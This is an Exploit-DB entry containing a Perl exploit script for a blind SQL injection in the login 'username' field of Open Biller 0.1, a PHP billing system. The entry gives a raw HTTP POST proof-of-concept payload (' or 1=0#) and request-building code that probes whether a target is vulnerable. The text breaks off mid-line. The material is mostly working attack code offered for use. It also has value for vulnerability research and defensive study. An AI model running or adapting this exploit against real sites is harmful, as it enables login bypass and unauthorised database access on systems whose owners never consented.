Exploit-DB #8927
Description: Open Biller 0.1 - 'Username' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-10
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|       	   	   (Post Form login var 'username') BLIND SQLi exploit         	     |
#|-------------------------------------------------------------------------------------------|
#|                                    |    Open Biller 0.1    |		    	             |
#|  CMS INFORMATION:          	      ------------------------	               	             |
#|										             |
#|-->WEB: http://sourceforge.net/projects/geekbill/			       		     |
#|-->DOWNLOAD: http://sourceforge.net/projects/geekbill/		                     |
#|-->DEMO: N/A										     |
#|-->CATEGORY: CMS / Portal								     |
#|-->DESCRIPTION: Open Biller aims to to be a the best open source billing                   |
#|		system on the planet.The system is written in PHP/MYSQL...                   |
#|-->RELEASED: 2009-05-31								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: firefox 3						                     |
#|-->DORK: N/A									             |
#|-->CATEGORY: BLIND SQLi exploit						             |
#|-->AFFECT VERSION: CURRENT						 		     |
#|-->Discovered Bug date: 2009-06-09							     |
#|-->Reported Bug date: 2009-06-09							     |
#|-->Fixed bug date: N/A								     |
#|-->Info patch: N/A									     |
#|-->Author: YEnH4ckEr									     |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/index.php HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/[PII_REDACTED] Firefox/3.0.10
#Referer: http://[HOST]/[PATH]/
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Open Biller 0.1 Blind SQL Injection Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$request = HTTP::Request -> new(POST => $_[0]);
	$request->referer($_[0]);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content($_[1]);
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	#print $request->as_string; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t5.-Magic quotes ON'.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	prin